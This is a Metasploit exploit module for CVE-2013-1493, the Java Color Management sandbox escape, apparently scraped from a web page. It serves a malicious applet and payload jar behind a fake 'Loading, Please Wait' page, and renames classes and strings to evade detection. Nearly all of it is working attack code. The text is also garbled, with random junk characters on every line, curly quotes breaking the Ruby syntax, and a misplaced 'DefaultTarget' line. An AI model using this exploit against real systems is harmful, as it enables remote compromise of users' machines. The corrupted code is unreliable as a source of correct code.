##* q8 q3 d# y) c3 e- G, ]
/ k; {/ b! o6 c! H8 c# This file is part of the Metasploit Framework and may be subject to
7 o' J4 k8 t# }- Y) g$ q) i, B# redistribution and commercial restrictions. Please see the Metasploit
; q4 Q* _- U+ q) W" W# web site for more information on licensing and terms of use.
( i# l! j B. z! C* E# |# http://metasploit.com/
0 O: S3 ?2 A: G4 c/ n. D* J/ \' a##+ m& K" E9 G0 ?( R* U3 `
require ‘msf/core’5 |( ]/ Q0 _. g9 k% n1 e0 e
require ‘rex’0 j2 ?/ D7 j. m
class Metasploit3 < Msf::Exploit::Remote
- S; E# a, o9 }9 K2 Q7 x9 ^+ hRank = NormalRanking) E8 r/ X4 e. k, o6 g, d
include Msf::Exploit::Remote::HttpServer::HTML; {$ P( J0 O5 l, |4 |* |
include Msf::Exploit::EXE1 F8 f3 w3 V4 @/ P
include Msf::Exploit::Remote::BrowserAutopwn
6 E* A2 F Y3 H u" y! H& h5 a! rautopwn_info({ :javascript => false })
9 |- V* H {- W& H0 n, adef initialize( info = {} )
7 Q5 V: O# W% |5 W# U/ esuper( update_info( info,0 [9 x0 n1 z* |3 \# I
‘Name’ => ‘Java CMM Remote Code Execution’,
( U. P2 p5 S5 {! [# {‘Description’ => %q{
+ s4 \6 h3 @4 b2 `This module abuses the Color Management classes from a Java Applet to run$ ]( M7 S: ~: h
arbitrary Java code outside of the sandbox as exploited in the wild in February% q3 ?" W, K! ] ~
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41$ `( r, m- e- V
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP12 P/ d) z8 f: V9 m- a' f
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java
1 G% E5 P, T# m* iwarning in order to run the malicious applet.
+ {5 \3 {7 T5 \6 i& m},
- E W6 q( k7 m6 \4 s! n3 B; C‘License’ => MSF_LICENSE,
}) x; p+ b) h, Q. g1 h‘Author’ =>
( I5 ]4 u2 T6 C1 N- ~: Z- k'Unknown', # Vulnerability discovery and Exploit
4 o5 T+ U- P Z# K- z'juan vazquez' # Metasploit module (just ported the published exploit)3 X9 T1 k1 S0 [1 z2 w
],1 A+ J6 l8 a3 j' q! M9 G/ f& p
‘References’ =>* O1 L* ` M/ ]+ h2 h H
[
" P. S% I0 q) m- e' _[ 'CVE', '2013-1493' ],
8 Y4 F5 @. H$ M! H& j2 y) D+ k[ 'OSVDB', '90737' ],
4 S- s; {2 X2 U6 v9 ?[ 'BID', '58238' ],8 c! O- j7 U* R4 d# d4 l
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
: E$ Z3 j) Y/ R. b1 y' ~[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],& z: r- w) u8 C0 M) C' `0 Q
[ 'URL', 'http://pastie.org/pastes/6581034' ]
9 \+ M5 @) x4 @6 X],
3 w( O( i& q3 [6 A: U4 W‘Platform’ => [ 'win', 'java' ],
: Y% d* L' r. H7 ~" m! c; M‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },* l* [( E* c4 A& h1 ^+ Z* T
‘Targets’ =>, {7 M6 }) C0 U1 }
[
( [4 N. j. U. a' Q+ C) u: Z[ 'Generic (Java Payload)',
9 s4 `! ]. l: z. c{3 Y: o3 K- H8 `
'Platform' => 'java',
4 b% I1 `, H! C8 ]* Z# O# p( n'Arch' => ARCH_JAVA
/ Q: |+ s+ s& z/ a0 d2 S9 J) _}
( \- P6 Z3 w8 g9 h],
, } o# P7 p* \$ b% \[ 'Windows x86 (Native Payload)', i2 a/ u. B! T* _! @. D
{2 H4 `" r& L% Q) X
'Platform' => 'win',6 }0 R& S+ G" o% j
'Arch' => ARCH_X86
) w8 y& e8 V; @% C+ |& p1 M: o}
" c6 L$ V, h, } ]]; n& \ V) y" n( b" _5 T* Q9 s+ _% p
],! X7 J( C2 g5 t$ m) V$ ?6 H8 Y
‘‘DisclosureDate’ => ‘Mar 01 2013′
" m! ]3 K3 J N))
/ _* w3 X% E i0 I5 L8 e1 [end6 S: j/ n c' w2 }' h& q8 B
def setup
* g' m+ X: E% x/ V' C8 ^path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
* V5 Y1 ]7 `( M4 a0 M4 E/ O@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
* U; e# z9 v$ Mpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)! ]1 X2 q$ M+ [" N/ W. p
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
" ]: M+ B+ Y/ U) Cpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
4 z: ]5 ~0 Z7 @- ?6 @, ?@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }1 g2 [2 K$ @; J% C% P
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)/ k1 e! z, p: t( f" i5 s( R
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }% H( ?+ Y, G2 a9 @
@init_class_name = rand_text_alpha(“Init”.length)
3 P7 ?8 t$ s. u0 ^# d/ R@init_class.gsub!(“Init”, @init_class_name)
. x F& O5 `) bsuper9 [; r/ s, z4 Z- S( h
end
% F: v8 A+ d X( g5 ^. Z& a6 r% gdef on_request_uri(cli, request)2 g$ n0 }- s" g. t8 [( }" Y
print_status(“handling request for #{request.uri}”)
: e2 Y6 }! S( Y" `case request.uri
7 e4 J) c V5 J! qwhen /\.jar$/i3 c& p6 n' Q. ^* S8 Z, T6 \
jar = payload.encoded_jar$ I3 M% f# t( V7 G% P, G9 L
jar.add_file(“#{@init_class_name}.class”, @init_class)
. A5 v7 `9 `& n& I1 Xjar.add_file(“Leak.class”, @leak_class)+ i3 B4 r. Z0 m/ L4 F
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)4 t1 G0 S; o' b8 U
jar.add_file(“MyColorSpace.class”, @color_space_class)
+ O% H* Z" J0 l( ADefaultTarget’ => 1,
% A7 t5 S# t: u+ ^, Umetasploit_str = rand_text_alpha(“metasploit”.length)0 \7 L+ a* d& `" Y- ]8 ^% i
payload_str = rand_text_alpha(“payload”.length)
4 P: r& }* |2 }# Njar.entries.each { |entry|
3 N2 c0 C# a/ G: B$ Yentry.name.gsub!(“metasploit”, metasploit_str)- R3 t& g+ c' s. ?& A
entry.name.gsub!(“Payload”, payload_str)# F9 T+ R" H4 j& H7 P1 v. F0 S
entry.data = entry.data.gsub(“metasploit”, metasploit_str)3 s& k( d7 D7 M3 n
entry.data = entry.data.gsub(“Payload”, payload_str). u$ {! b6 k3 l1 P, F
}
6 o# y2 G) ^5 V# D; Y1 A Yjar.build_manifest
- n1 W; O0 O/ V hsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })7 a0 H8 q1 l; [- v
when /\/$/) R9 V U* r( J- m8 T6 ]( ~
payload = regenerate_payload(cli)) j3 \! \+ Q I5 m+ _
if not payload* h% |1 ~8 m! z
print_error(“Failed to generate the payload.”)& q( j2 a& u# Z; K( Q0 l
send_not_found(cli)9 Z5 ^# X6 `' [- E- G! Z
return+ p& p: t# v. R5 J
end
( j" H4 E: B9 B. J; B4 G! B fsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
1 M1 G; p# ?2 |8 _else
3 b% \9 c; w$ K+ U6 q# t$ vsend_redirect(cli, get_resource() + ‘/’, ”)! G2 j0 e1 u" j( N
end
0 e# e# @ U# n6 M- U4 {; {: Fend
7 ]' ?/ y" w! `def generate_html
\# N; W2 L e; ?html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
; R) G; A) s/ g5 ~html += %Q|<body><center><p>Loading, Please Wait…</p></center>|
# a5 v4 U+ y. ?0 chtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
# a# `7 T& n- Y9 r$ xhtml += %Q|</applet></body></html>|% K4 L* ^+ h: d. _4 |" o# c" R
return html) e/ g6 p! g0 q) y! H/ Z& T
end" a) V: e5 ?/ Q
end7 A( H9 b0 I+ k/ @ N/ X
end- J& ?& v( m/ R! e% }# L
|